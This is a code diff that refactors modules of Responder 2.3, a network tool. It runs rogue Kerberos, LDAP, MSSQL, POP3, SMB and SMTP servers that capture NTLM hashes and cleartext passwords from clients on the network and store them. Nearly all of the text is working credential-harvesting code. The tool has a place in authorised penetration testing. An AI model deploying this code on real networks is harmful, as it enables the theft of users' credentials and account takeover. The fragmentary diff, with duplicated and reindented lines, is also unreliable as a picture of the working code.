KerbHash = ParseMSKerbv5TCP(data)
|
||||
|
||||
if KerbHash:
|
||||
(n, krb, v, name, domain, d, h) = KerbHash.split('$')
|
||||
if KerbHash:
|
||||
n, krb, v, name, domain, d, h = KerbHash.split('$')
|
||||
|
||||
SaveToDb({
|
||||
'module': 'KERB',
|
||||
'type': 'MSKerbv5',
|
||||
'client': self.client_address[0],
|
||||
'user': domain+'\\'+name,
|
||||
'hash': h,
|
||||
'fullhash': KerbHash,
|
||||
})
|
||||
|
||||
except Exception:
|
||||
raise
|
||||
SaveToDb({
|
||||
'module': 'KERB',
|
||||
'type': 'MSKerbv5',
|
||||
'client': self.client_address[0],
|
||||
'user': domain+'\\'+name,
|
||||
'hash': h,
|
||||
'fullhash': KerbHash,
|
||||
})
|
||||
|
||||
class KerbUDP(BaseRequestHandler):
|
||||
|
||||
def handle(self):
|
||||
try:
|
||||
data, soc = self.request
|
||||
KerbHash = ParseMSKerbv5UDP(data)
|
||||
data, soc = self.request
|
||||
KerbHash = ParseMSKerbv5UDP(data)
|
||||
|
||||
if KerbHash:
|
||||
(n, krb, v, name, domain, d, h) = KerbHash.split('$')
|
||||
if KerbHash:
|
||||
(n, krb, v, name, domain, d, h) = KerbHash.split('$')
|
||||
|
||||
SaveToDb({
|
||||
'module': 'KERB',
|
||||
'type': 'MSKerbv5',
|
||||
'client': self.client_address[0],
|
||||
'user': domain+'\\'+name,
|
||||
'hash': h,
|
||||
'fullhash': KerbHash,
|
||||
})
|
||||
|
||||
except Exception:
|
||||
raise
|
||||
SaveToDb({
|
||||
'module': 'KERB',
|
||||
'type': 'MSKerbv5',
|
||||
'client': self.client_address[0],
|
||||
'user': domain+'\\'+name,
|
||||
'hash': h,
|
||||
'fullhash': KerbHash,
|
||||
})
|
|
@ -14,24 +14,17 @@
|
|||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
import os
|
||||
import struct
|
||||
import settings
|
||||
|
||||
from SocketServer import BaseRequestHandler
|
||||
from packets import LDAPSearchDefaultPacket, LDAPSearchSupportedCapabilitiesPacket, LDAPSearchSupportedMechanismsPacket, LDAPNTLMChallenge
|
||||
from utils import *
|
||||
import struct
|
||||
|
||||
def ParseSearch(data):
|
||||
Search1 = re.search('(objectClass)', data)
|
||||
Search2 = re.search('(?i)(objectClass0*.*supportedCapabilities)', data)
|
||||
Search3 = re.search('(?i)(objectClass0*.*supportedSASLMechanisms)', data)
|
||||
|
||||
if Search1:
|
||||
if re.search(r'(objectClass)', data):
|
||||
return str(LDAPSearchDefaultPacket(MessageIDASNStr=data[8:9]))
|
||||
if Search2:
|
||||
elif re.search(r'(?i)(objectClass0*.*supportedCapabilities)', data):
|
||||
return str(LDAPSearchSupportedCapabilitiesPacket(MessageIDASNStr=data[8:9],MessageIDASN2Str=data[8:9]))
|
||||
if Search3:
|
||||
elif re.search(r'(?i)(objectClass0*.*supportedSASLMechanisms)', data):
|
||||
return str(LDAPSearchSupportedMechanismsPacket(MessageIDASNStr=data[8:9],MessageIDASN2Str=data[8:9]))
|
||||
|
||||
def ParseLDAPHash(data, client):
|
||||
|
@ -54,7 +47,7 @@ def ParseLDAPHash(data, client):
|
|||
UserOffset = struct.unpack('<H',data[82:84])[0]
|
||||
User = SSPIStart[UserOffset:UserOffset+UserLen].replace('\x00','')
|
||||
|
||||
WriteHash = User+"::"+Domain+":"+LMHash+":"+NtHash+":"+settings.Config.NumChal
|
||||
WriteHash = User + "::" + Domain + ":" + LMHash + ":" + NtHash + ":" + settings.Config.NumChal
|
||||
|
||||
SaveToDb({
|
||||
'module': 'LDAP',
|
||||
|
@ -69,20 +62,15 @@ def ParseLDAPHash(data, client):
|
|||
print text("[LDAP] Ignoring anonymous NTLM authentication")
|
||||
|
||||
def ParseNTLM(data,client):
|
||||
Search1 = re.search('(NTLMSSP\x00\x01\x00\x00\x00)', data)
|
||||
Search2 = re.search('(NTLMSSP\x00\x03\x00\x00\x00)', data)
|
||||
|
||||
if Search1:
|
||||
if re.search('(NTLMSSP\x00\x01\x00\x00\x00)', data):
|
||||
NTLMChall = LDAPNTLMChallenge(MessageIDASNStr=data[8:9],NTLMSSPNtServerChallenge=settings.Config.Challenge)
|
||||
NTLMChall.calculate()
|
||||
return str(NTLMChall)
|
||||
|
||||
if Search2:
|
||||
elif re.search('(NTLMSSP\x00\x03\x00\x00\x00)', data):
|
||||
ParseLDAPHash(data,client)
|
||||
|
||||
def ParseLDAPPacket(data, client):
|
||||
if data[1:2] == '\x84':
|
||||
|
||||
PacketLen = struct.unpack('>i',data[2:6])[0]
|
||||
MessageSequence = struct.unpack('<b',data[8:9])[0]
|
||||
Operation = data[9:10]
|
||||
|
@ -91,7 +79,6 @@ def ParseLDAPPacket(data, client):
|
|||
LDAPVersion = struct.unpack('<b',data[17:18])[0]
|
||||
|
||||
if Operation == "\x60":
|
||||
|
||||
UserDomainLen = struct.unpack('<b',data[19:20])[0]
|
||||
UserDomain = data[20:20+UserDomainLen]
|
||||
AuthHeaderType = data[20+UserDomainLen:20+UserDomainLen+1]
|
||||
|
@ -99,7 +86,6 @@ def ParseLDAPPacket(data, client):
|
|||
if AuthHeaderType == "\x80":
|
||||
PassLen = struct.unpack('<b',data[20+UserDomainLen+1:20+UserDomainLen+2])[0]
|
||||
Password = data[20+UserDomainLen+2:20+UserDomainLen+2+PassLen]
|
||||
|
||||
SaveToDb({
|
||||
'module': 'LDAP',
|
||||
'type': 'Cleartext',
|
||||
|
@ -116,12 +102,9 @@ def ParseLDAPPacket(data, client):
|
|||
elif Operation == "\x63":
|
||||
Buffer = ParseSearch(data)
|
||||
return Buffer
|
||||
elif settings.Config.Verbose:
|
||||
print text('[LDAP] Operation not supported')
|
||||
|
||||
else:
|
||||
if settings.Config.Verbose:
|
||||
print text('[LDAP] Operation not supported')
|
||||
|
||||
# LDAP Server class
|
||||
class LDAP(BaseRequestHandler):
|
||||
def handle(self):
|
||||
try:
|
||||
|
@ -132,6 +115,5 @@ class LDAP(BaseRequestHandler):
|
|||
|
||||
if Buffer:
|
||||
self.request.send(Buffer)
|
||||
|
||||
except socket.timeout:
|
||||
pass
|
||||
|
|
|
@ -14,13 +14,10 @@
|
|||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
import os
|
||||
import struct
|
||||
import settings
|
||||
|
||||
from SocketServer import BaseRequestHandler
|
||||
from packets import MSSQLPreLoginAnswer, MSSQLNTLMChallengeAnswer
|
||||
from utils import *
|
||||
import struct
|
||||
|
||||
class TDS_Login_Packet:
|
||||
def __init__(self, data):
|
||||
|
@ -54,6 +51,7 @@ class TDS_Login_Packet:
|
|||
self.Locale = data[8+LocaleOff:8+LocaleOff+LocaleLen*2].replace('\x00', '')
|
||||
self.DatabaseName = data[8+DatabaseNameOff:8+DatabaseNameOff+DatabaseNameLen*2].replace('\x00', '')
|
||||
|
||||
|
||||
def ParseSQLHash(data, client):
|
||||
SSPIStart = data[8:]
|
||||
|
||||
|
@ -97,17 +95,17 @@ def ParseSQLHash(data, client):
|
|||
'fullhash': WriteHash,
|
||||
})
|
||||
|
||||
|
||||
def ParseSqlClearTxtPwd(Pwd):
|
||||
Pwd = map(ord,Pwd.replace('\xa5',''))
|
||||
Pw = []
|
||||
Pw = ''
|
||||
for x in Pwd:
|
||||
Pw.append(hex(x ^ 0xa5)[::-1][:2].replace("x","0").decode('hex'))
|
||||
return ''.join(Pw)
|
||||
Pw += hex(x ^ 0xa5)[::-1][:2].replace("x", "0").decode('hex')
|
||||
return Pw
|
||||
|
||||
|
||||
def ParseClearTextSQLPass(data, client):
|
||||
|
||||
TDS = TDS_Login_Packet(data)
|
||||
|
||||
SaveToDb({
|
||||
'module': 'MSSQL',
|
||||
'type': 'Cleartext',
|
||||
|
@ -120,7 +118,6 @@ def ParseClearTextSQLPass(data, client):
|
|||
|
||||
# MSSQL Server class
|
||||
class MSSQL(BaseRequestHandler):
|
||||
|
||||
def handle(self):
|
||||
if settings.Config.Verbose:
|
||||
print text("[MSSQL] Received connection from %s" % self.client_address[0])
|
||||
|
@ -130,28 +127,24 @@ class MSSQL(BaseRequestHandler):
|
|||
data = self.request.recv(1024)
|
||||
self.request.settimeout(0.1)
|
||||
|
||||
# Pre-Login Message
|
||||
if data[0] == "\x12":
|
||||
|
||||
if data[0] == "\x12": # Pre-Login Message
|
||||
Buffer = str(MSSQLPreLoginAnswer())
|
||||
self.request.send(Buffer)
|
||||
data = self.request.recv(1024)
|
||||
|
||||
# NegoSSP
|
||||
if data[0] == "\x10":
|
||||
if data[0] == "\x10": # NegoSSP
|
||||
if re.search("NTLMSSP",data):
|
||||
Packet = MSSQLNTLMChallengeAnswer(ServerChallenge=settings.Config.Challenge)
|
||||
Packet.calculate()
|
||||
Buffer = str(Packet)
|
||||
self.request.send(Buffer)
|
||||
data = self.request.recv(1024)
|
||||
|
||||
else:
|
||||
ParseClearTextSQLPass(data,self.client_address[0])
|
||||
|
||||
# NegoSSP Auth
|
||||
if data[0] == "\x11":
|
||||
if data[0] == "\x11": # NegoSSP Auth
|
||||
ParseSQLHash(data,self.client_address[0])
|
||||
|
||||
except socket.timeout:
|
||||
pass
|
||||
self.request.close()
|
||||
|
|
|
@ -14,22 +14,16 @@
|
|||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
import os
|
||||
import settings
|
||||
|
||||
from utils import *
|
||||
from SocketServer import BaseRequestHandler
|
||||
from packets import POPOKPacket
|
||||
|
||||
# POP3 Server class
|
||||
class POP3(BaseRequestHandler):
|
||||
|
||||
def SendPacketAndRead(self):
|
||||
Packet = POPOKPacket()
|
||||
self.request.send(str(Packet))
|
||||
data = self.request.recv(1024)
|
||||
|
||||
return data
|
||||
return self.request.recv(1024)
|
||||
|
||||
def handle(self):
|
||||
try:
|
||||
|
@ -38,7 +32,6 @@ class POP3(BaseRequestHandler):
|
|||
if data[0:4] == "USER":
|
||||
User = data[5:].replace("\r\n","")
|
||||
data = self.SendPacketAndRead()
|
||||
|
||||
if data[0:4] == "PASS":
|
||||
Pass = data[5:].replace("\r\n","")
|
||||
|
||||
|
@ -50,11 +43,6 @@ class POP3(BaseRequestHandler):
|
|||
'cleartext': Pass,
|
||||
'fullhash': User+":"+Pass,
|
||||
})
|
||||
|
||||
data = self.SendPacketAndRead()
|
||||
|
||||
else:
|
||||
data = self.SendPacketAndRead()
|
||||
|
||||
self.SendPacketAndRead()
|
||||
except Exception:
|
||||
pass
|
142
servers/SMB.py
142
servers/SMB.py
|
@ -14,84 +14,50 @@
|
|||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
import struct
|
||||
import settings
|
||||
|
||||
from random import randrange
|
||||
from packets import SMBHeader, SMBNegoAnsLM, SMBNegoAns, SMBNegoKerbAns, SMBSession1Data, SMBSession2Accept, SMBSessEmpty, SMBTreeData
|
||||
from packets import SMBHeader, SMBNegoAnsLM, SMBNegoKerbAns, SMBSession1Data, SMBSession2Accept, SMBSessEmpty, SMBTreeData
|
||||
from SocketServer import BaseRequestHandler
|
||||
from utils import *
|
||||
import struct
|
||||
|
||||
# Detect if SMB auth was Anonymous
|
||||
def Is_Anonymous(data):
|
||||
|
||||
def Is_Anonymous(data): # Detect if SMB auth was Anonymous
|
||||
SecBlobLen = struct.unpack('<H',data[51:53])[0]
|
||||
|
||||
if SecBlobLen < 260:
|
||||
LMhashLen = struct.unpack('<H',data[89:91])[0]
|
||||
return True if LMhashLen == 0 or LMhashLen == 1 else False
|
||||
|
||||
if SecBlobLen > 260:
|
||||
return LMhashLen in [0, 1]
|
||||
elif SecBlobLen > 260:
|
||||
LMhashLen = struct.unpack('<H',data[93:95])[0]
|
||||
return True if LMhashLen == 0 or LMhashLen == 1 else False
|
||||
return LMhashLen in [0, 1]
|
||||
|
||||
def Is_LMNT_Anonymous(data):
|
||||
LMhashLen = struct.unpack('<H',data[51:53])[0]
|
||||
return True if LMhashLen == 0 or LMhashLen == 1 else False
|
||||
return LMhashLen in [0, 1]
|
||||
|
||||
#Function used to know which dialect number to return for NT LM 0.12
|
||||
def Parse_Nego_Dialect(data):
|
||||
Dialect = tuple([e.replace('\x00','') for e in data[40:].split('\x02')[:10]])
|
||||
for i in range(0, 16):
|
||||
if Dialect[i] == 'NT LM 0.12':
|
||||
return chr(i) + '\x00'
|
||||
|
||||
if Dialect[0] == "NT LM 0.12":
|
||||
return "\x00\x00"
|
||||
if Dialect[1] == "NT LM 0.12":
|
||||
return "\x01\x00"
|
||||
if Dialect[2] == "NT LM 0.12":
|
||||
return "\x02\x00"
|
||||
if Dialect[3] == "NT LM 0.12":
|
||||
return "\x03\x00"
|
||||
if Dialect[4] == "NT LM 0.12":
|
||||
return "\x04\x00"
|
||||
if Dialect[5] == "NT LM 0.12":
|
||||
return "\x05\x00"
|
||||
if Dialect[6] == "NT LM 0.12":
|
||||
return "\x06\x00"
|
||||
if Dialect[7] == "NT LM 0.12":
|
||||
return "\x07\x00"
|
||||
if Dialect[8] == "NT LM 0.12":
|
||||
return "\x08\x00"
|
||||
if Dialect[9] == "NT LM 0.12":
|
||||
return "\x09\x00"
|
||||
if Dialect[10] == "NT LM 0.12":
|
||||
return "\x0a\x00"
|
||||
if Dialect[11] == "NT LM 0.12":
|
||||
return "\x0b\x00"
|
||||
if Dialect[12] == "NT LM 0.12":
|
||||
return "\x0c\x00"
|
||||
if Dialect[13] == "NT LM 0.12":
|
||||
return "\x0d\x00"
|
||||
if Dialect[14] == "NT LM 0.12":
|
||||
return "\x0e\x00"
|
||||
if Dialect[15] == "NT LM 0.12":
|
||||
return "\x0f\x00"
|
||||
|
||||
#Set MID SMB Header field.
|
||||
def midcalc(data):
|
||||
pack=data[34:36]
|
||||
return pack
|
||||
def midcalc(data): #Set MID SMB Header field.
|
||||
return data[34:36]
|
||||
|
||||
#Set UID SMB Header field.
|
||||
def uidcalc(data):
|
||||
pack=data[32:34]
|
||||
return pack
|
||||
|
||||
#Set PID SMB Header field.
|
||||
def pidcalc(data):
|
||||
|
||||
def uidcalc(data): #Set UID SMB Header field.
|
||||
return data[32:34]
|
||||
|
||||
|
||||
def pidcalc(data): #Set PID SMB Header field.
|
||||
pack=data[30:32]
|
||||
return pack
|
||||
|
||||
#Set TID SMB Header field.
|
||||
def tidcalc(data):
|
||||
|
||||
def tidcalc(data): #Set TID SMB Header field.
|
||||
pack=data[28:30]
|
||||
return pack
|
||||
|
||||
|
@ -101,8 +67,8 @@ def ParseShare(data):
|
|||
if a:
|
||||
print text("[SMB] Requested Share : %s" % a.group(0).replace('\x00', ''))
|
||||
|
||||
#Parse SMB NTLMSSP v1/v2
|
||||
def ParseSMBHash(data,client):
|
||||
|
||||
def ParseSMBHash(data,client): #Parse SMB NTLMSSP v1/v2
|
||||
SecBlobLen = struct.unpack('<H',data[51:53])[0]
|
||||
BccLen = struct.unpack('<H',data[61:63])[0]
|
||||
|
||||
|
@ -113,7 +79,6 @@ def ParseSMBHash(data,client):
|
|||
LMHash = SSPIStart[LMhashOffset:LMhashOffset+LMhashLen].encode("hex").upper()
|
||||
NthashLen = struct.unpack('<H',data[97:99])[0]
|
||||
NthashOffset = struct.unpack('<H',data[99:101])[0]
|
||||
|
||||
else:
|
||||
SSPIStart = data[79:]
|
||||
LMhashLen = struct.unpack('<H',data[93:95])[0]
|
||||
|
@ -160,9 +125,8 @@ def ParseSMBHash(data,client):
|
|||
'fullhash': WriteHash,
|
||||
})
|
||||
|
||||
# Parse SMB NTLMv1/v2
|
||||
def ParseLMNTHash(data, client):
|
||||
|
||||
def ParseLMNTHash(data, client): # Parse SMB NTLMv1/v2
|
||||
LMhashLen = struct.unpack('<H',data[51:53])[0]
|
||||
NthashLen = struct.unpack('<H',data[53:55])[0]
|
||||
Bcc = struct.unpack('<H',data[63:65])[0]
|
||||
|
@ -209,36 +173,31 @@ def IsNT4ClearTxt(data, client):
|
|||
PassLen = struct.unpack('<H',data[HeadLen+15:HeadLen+17])[0]
|
||||
|
||||
if PassLen > 2:
|
||||
|
||||
Password = data[HeadLen+30:HeadLen+30+PassLen].replace("\x00","")
|
||||
User = ''.join(tuple(data[HeadLen+30+PassLen:].split('\x00\x00\x00'))[:1]).replace("\x00","")
|
||||
print text("[SMB] Clear Text Credentials: %s:%s" % (User,Password))
|
||||
WriteData(settings.Config.SMBClearLog % client, User+":"+Password, User+":"+Password)
|
||||
|
||||
# SMB Server class, NTLMSSP
|
||||
class SMB1(BaseRequestHandler):
|
||||
|
||||
class SMB1(BaseRequestHandler): # SMB Server class, NTLMSSP
|
||||
def handle(self):
|
||||
try:
|
||||
while True:
|
||||
data = self.request.recv(1024)
|
||||
self.request.settimeout(1)
|
||||
|
||||
if len(data) < 1:
|
||||
if not data:
|
||||
break
|
||||
|
||||
##session request 139
|
||||
if data[0] == "\x81":
|
||||
if data[0] == "\x81": #session request 139
|
||||
Buffer = "\x82\x00\x00\x00"
|
||||
try:
|
||||
self.request.send(Buffer)
|
||||
self.request.send(Buffer)
|
||||
data = self.request.recv(1024)
|
||||
except:
|
||||
pass
|
||||
|
||||
# Negociate Protocol Response
|
||||
if data[8:10] == "\x72\x00":
|
||||
# \x72 == Negociate Protocol Response
|
||||
if data[8:10] == "\x72\x00": # Negociate Protocol Response
|
||||
Header = SMBHeader(cmd="\x72",flag1="\x88", flag2="\x01\xc8", pid=pidcalc(data),mid=midcalc(data))
|
||||
Body = SMBNegoKerbAns(Dialect=Parse_Nego_Dialect(data))
|
||||
Body.calculate()
|
||||
|
@ -249,8 +208,7 @@ class SMB1(BaseRequestHandler):
|
|||
self.request.send(Buffer)
|
||||
data = self.request.recv(1024)
|
||||
|
||||
# Session Setup AndX Request
|
||||
if data[8:10] == "\x73\x00":
|
||||
if data[8:10] == "\x73\x00": # Session Setup AndX Request
|
||||
IsNT4ClearTxt(data, self.client_address[0])
|
||||
|
||||
# STATUS_MORE_PROCESSING_REQUIRED
|
||||
|
@ -264,8 +222,8 @@ class SMB1(BaseRequestHandler):
|
|||
self.request.send(Buffer)
|
||||
data = self.request.recv(4096)
|
||||
|
||||
# STATUS_SUCCESS
|
||||
if data[8:10] == "\x73\x00":
|
||||
|
||||
if data[8:10] == "\x73\x00": # STATUS_SUCCESS
|
||||
if Is_Anonymous(data):
|
||||
Header = SMBHeader(cmd="\x73",flag1="\x98", flag2="\x01\xc8",errorcode="\x72\x00\x00\xc0",pid=pidcalc(data),tid="\x00\x00",uid=uidcalc(data),mid=midcalc(data))###should always send errorcode="\x72\x00\x00\xc0" account disabled for anonymous logins.
|
||||
Body = SMBSessEmpty()
|
||||
|
@ -290,10 +248,9 @@ class SMB1(BaseRequestHandler):
|
|||
self.request.send(Buffer)
|
||||
data = self.request.recv(1024)
|
||||
|
||||
# Tree Connect AndX Request
|
||||
if data[8:10] == "\x75\x00":
|
||||
|
||||
if data[8:10] == "\x75\x00": # Tree Connect AndX Request
|
||||
ParseShare(data)
|
||||
# Tree Connect AndX Response
|
||||
Header = SMBHeader(cmd="\x75",flag1="\x88", flag2="\x01\xc8", errorcode="\x00\x00\x00\x00", pid=pidcalc(data), tid=chr(randrange(256))+chr(randrange(256)), uid=uidcalc(data), mid=midcalc(data))
|
||||
Body = SMBTreeData()
|
||||
Body.calculate()
|
||||
|
@ -304,8 +261,7 @@ class SMB1(BaseRequestHandler):
|
|||
self.request.send(Buffer)
|
||||
data = self.request.recv(1024)
|
||||
|
||||
##Tree Disconnect.
|
||||
if data[8:10] == "\x71\x00":
|
||||
if data[8:10] == "\x71\x00": #Tree Disconnect
|
||||
Header = SMBHeader(cmd="\x71",flag1="\x98", flag2="\x07\xc8", errorcode="\x00\x00\x00\x00",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data))
|
||||
Body = "\x00\x00\x00"
|
||||
|
||||
|
@ -315,8 +271,7 @@ class SMB1(BaseRequestHandler):
|
|||
self.request.send(Buffer)
|
||||
data = self.request.recv(1024)
|
||||
|
||||
##NT_CREATE Access Denied.
|
||||
if data[8:10] == "\xa2\x00":
|
||||
if data[8:10] == "\xa2\x00": #NT_CREATE Access Denied.
|
||||
Header = SMBHeader(cmd="\xa2",flag1="\x98", flag2="\x07\xc8", errorcode="\x22\x00\x00\xc0",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data))
|
||||
Body = "\x00\x00\x00"
|
||||
|
||||
|
@ -326,8 +281,7 @@ class SMB1(BaseRequestHandler):
|
|||
self.request.send(Buffer)
|
||||
data = self.request.recv(1024)
|
||||
|
||||
##Trans2 Access Denied.
|
||||
if data[8:10] == "\x25\x00":
|
||||
if data[8:10] == "\x25\x00": # Trans2 Access Denied.
|
||||
Header = SMBHeader(cmd="\x25",flag1="\x98", flag2="\x07\xc8", errorcode="\x22\x00\x00\xc0",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data))
|
||||
Body = "\x00\x00\x00"
|
||||
|
||||
|
@ -337,8 +291,8 @@ class SMB1(BaseRequestHandler):
|
|||
self.request.send(Buffer)
|
||||
data = self.request.recv(1024)
|
||||
|
||||
##LogOff.
|
||||
if data[8:10] == "\x74\x00":
|
||||
|
||||
if data[8:10] == "\x74\x00": # LogOff
|
||||
Header = SMBHeader(cmd="\x74",flag1="\x98", flag2="\x07\xc8", errorcode="\x22\x00\x00\xc0",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data))
|
||||
Body = "\x02\xff\x00\x27\x00\x00\x00"
|
||||
|
||||
|
@ -351,22 +305,19 @@ class SMB1(BaseRequestHandler):
|
|||
except socket.timeout:
|
||||
pass
|
||||
|
||||
# SMB Server class, old version
|
||||
class SMB1LM(BaseRequestHandler):
|
||||
|
||||
class SMB1LM(BaseRequestHandler): # SMB Server class, old version
|
||||
def handle(self):
|
||||
try:
|
||||
self.request.settimeout(0.5)
|
||||
data = self.request.recv(1024)
|
||||
|
||||
##session request 139
|
||||
if data[0] == "\x81":
|
||||
if data[0] == "\x81": #session request 139
|
||||
Buffer = "\x82\x00\x00\x00"
|
||||
self.request.send(Buffer)
|
||||
data = self.request.recv(1024)
|
||||
|
||||
##Negotiate proto answer.
|
||||
if data[8:10] == "\x72\x00":
|
||||
if data[8:10] == "\x72\x00": #Negotiate proto answer.
|
||||
head = SMBHeader(cmd="\x72",flag1="\x80", flag2="\x00\x00",pid=pidcalc(data),mid=midcalc(data))
|
||||
Body = SMBNegoAnsLM(Dialect=Parse_Nego_Dialect(data),Domain="",Key=settings.Config.Challenge)
|
||||
Body.calculate()
|
||||
|
@ -375,22 +326,19 @@ class SMB1LM(BaseRequestHandler):
|
|||
self.request.send(Buffer)
|
||||
data = self.request.recv(1024)
|
||||
|
||||
##Session Setup AndX Request
|
||||
if data[8:10] == "\x73\x00":
|
||||
if data[8:10] == "\x73\x00": #Session Setup AndX Request
|
||||
if Is_LMNT_Anonymous(data):
|
||||
head = SMBHeader(cmd="\x73",flag1="\x90", flag2="\x53\xc8",errorcode="\x72\x00\x00\xc0",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data))
|
||||
Packet = str(head)+str(SMBSessEmpty())
|
||||
Buffer = struct.pack(">i", len(''.join(Packet)))+Packet
|
||||
self.request.send(Buffer)
|
||||
|
||||
else:
|
||||
ParseLMNTHash(data,self.client_address[0])
|
||||
head = SMBHeader(cmd="\x73",flag1="\x90", flag2="\x53\xc8",errorcode="\x22\x00\x00\xc0",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data))
|
||||
Packet = str(head)+str(SMBSessEmpty())
|
||||
Buffer = struct.pack(">i", len(''.join(Packet)))+Packet
|
||||
Packet = str(head) + str(SMBSessEmpty())
|
||||
Buffer = struct.pack(">i", len(''.join(Packet))) + Packet
|
||||
self.request.send(Buffer)
|
||||
data = self.request.recv(1024)
|
||||
|
||||
except Exception:
|
||||
self.request.close()
|
||||
pass
|
|
@ -14,15 +14,11 @@
|
|||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
import os
|
||||
import settings
|
||||
|
||||
from utils import *
|
||||
from base64 import b64decode, b64encode
|
||||
from base64 import b64decode
|
||||
from SocketServer import BaseRequestHandler
|
||||
from packets import SMTPGreeting, SMTPAUTH, SMTPAUTH1, SMTPAUTH2
|
||||
|
||||
# ESMTP Server class
|
||||
class ESMTP(BaseRequestHandler):
|
||||
|
||||
def handle(self):
|
||||
|
|
|
@ -14,13 +14,12 @@
|
|||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
import os
|
||||
import sys
|
||||
import socket
|
||||
|
||||
import utils
|
||||
import logging
|
||||
import ConfigParser
|
||||
|
||||
from utils import *
|
||||
|
||||
__version__ = 'Responder 2.3'
|
||||
|
||||
class Settings:
|
||||
|
@ -37,7 +36,7 @@ class Settings:
|
|||
return ret
|
||||
|
||||
def toBool(self, str):
|
||||
return True if str.upper() == 'ON' else False
|
||||
return str.upper() == 'ON'
|
||||
|
||||
def ExpandIPRanges(self):
|
||||
def expand_ranges(lst):
|
||||
|
|
|
@ -14,11 +14,9 @@
|
|||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
import sys, os
|
||||
import socket
|
||||
import sys
|
||||
import os
|
||||
import thread
|
||||
import struct
|
||||
import time
|
||||
|
||||
BASEDIR = os.path.realpath(os.path.join(os.path.dirname(__file__), '..'))
|
||||
sys.path.insert(0, BASEDIR)
|
||||
|
@ -29,7 +27,6 @@ from threading import Lock
|
|||
from utils import *
|
||||
|
||||
def ParseRoles(data):
|
||||
|
||||
if len(data) != 4:
|
||||
return ''
|
||||
|
||||
|
@ -62,81 +59,44 @@ def ParseRoles(data):
|
|||
'Domain Enum': (ord(data[3]) >> 7) & 1,
|
||||
}
|
||||
|
||||
#print 'Workstation : ', AllRoles['Workstation']
|
||||
#print 'Server : ', AllRoles['Server']
|
||||
#print 'SQL : ', AllRoles['SQL']
|
||||
#print 'Domain Controller : ', AllRoles['Domain Controller']
|
||||
#print 'Backup Controller : ', AllRoles['Backup Controller']
|
||||
#print 'Time Source : ', AllRoles['Time Source']
|
||||
#print 'Apple : ', AllRoles['Apple']
|
||||
#print 'Novell : ', AllRoles['Novell']
|
||||
#print 'Member : ', AllRoles['Member']
|
||||
#print 'Print : ', AllRoles['Print']
|
||||
#print 'Dialin : ', AllRoles['Dialin']
|
||||
#print 'Xenix : ', AllRoles['Xenix']
|
||||
#print 'NT Workstation : ', AllRoles['NT Workstation']
|
||||
#print 'WfW : ', AllRoles['WfW']
|
||||
#print 'Unused : ', AllRoles['Unused']
|
||||
#print 'NT Server : ', AllRoles['NT Server']
|
||||
#print 'Potential Browser : ', AllRoles['Potential Browser']
|
||||
#print 'Backup Browser : ', AllRoles['Backup Browser']
|
||||
#print 'Master Browser : ', AllRoles['Master Browser']
|
||||
#print 'Domain Master Browser : ', AllRoles['Domain Master Browser']
|
||||
#print 'OSF : ', AllRoles['OSF']
|
||||
#print 'VMS : ', AllRoles['VMS']
|
||||
#print 'Windows 95+ : ', AllRoles['Windows 95+']
|
||||
#print 'DFS : ', AllRoles['DFS']
|
||||
#print 'Local : ', AllRoles['Local']
|
||||
#print 'Domain Enum : ', AllRoles['Domain Enum']
|
||||
return ', '.join(k for k,v in AllRoles.items() if v == 1)
|
||||
|
||||
Roles = []
|
||||
for k,v in AllRoles.iteritems():
|
||||
if v == 1:
|
||||
Roles.append(k)
|
||||
|
||||
return ', '.join(Roles)
|
||||
|
||||
class BrowserListener(BaseRequestHandler):
|
||||
|
||||
def handle(self):
|
||||
#try:
|
||||
data, socket = self.request
|
||||
data, socket = self.request
|
||||
|
||||
lock = Lock()
|
||||
lock.acquire()
|
||||
lock = Lock()
|
||||
lock.acquire()
|
||||
|
||||
DataOffset = struct.unpack('<H',data[139:141])[0]
|
||||
BrowserPacket = data[82+DataOffset:]
|
||||
ReqType = RequestType(BrowserPacket[0])
|
||||
DataOffset = struct.unpack('<H',data[139:141])[0]
|
||||
BrowserPacket = data[82+DataOffset:]
|
||||
ReqType = RequestType(BrowserPacket[0])
|
||||
|
||||
Domain = Decode_Name(data[49:81])
|
||||
Name = Decode_Name(data[15:47])
|
||||
Role1 = NBT_NS_Role(data[45:48])
|
||||
Role2 = NBT_NS_Role(data[79:82])
|
||||
Fprint = WorkstationFingerPrint(data[190:192])
|
||||
Roles = ParseRoles(data[192:196])
|
||||
Domain = Decode_Name(data[49:81])
|
||||
Name = Decode_Name(data[15:47])
|
||||
Role1 = NBT_NS_Role(data[45:48])
|
||||
Role2 = NBT_NS_Role(data[79:82])
|
||||
Fprint = WorkstationFingerPrint(data[190:192])
|
||||
Roles = ParseRoles(data[192:196])
|
||||
|
||||
print text("[BROWSER] Request Type : %s" % ReqType)
|
||||
print text("[BROWSER] Address : %s" % self.client_address[0])
|
||||
print text("[BROWSER] Domain : %s" % Domain)
|
||||
print text("[BROWSER] Name : %s" % Name)
|
||||
print text("[BROWSER] Main Role : %s" % Role1)
|
||||
print text("[BROWSER] 2nd Role : %s" % Role2)
|
||||
print text("[BROWSER] Fingerprint : %s" % Fprint)
|
||||
print text("[BROWSER] Role List : %s" % Roles)
|
||||
print text("[BROWSER] Request Type : %s" % ReqType)
|
||||
print text("[BROWSER] Address : %s" % self.client_address[0])
|
||||
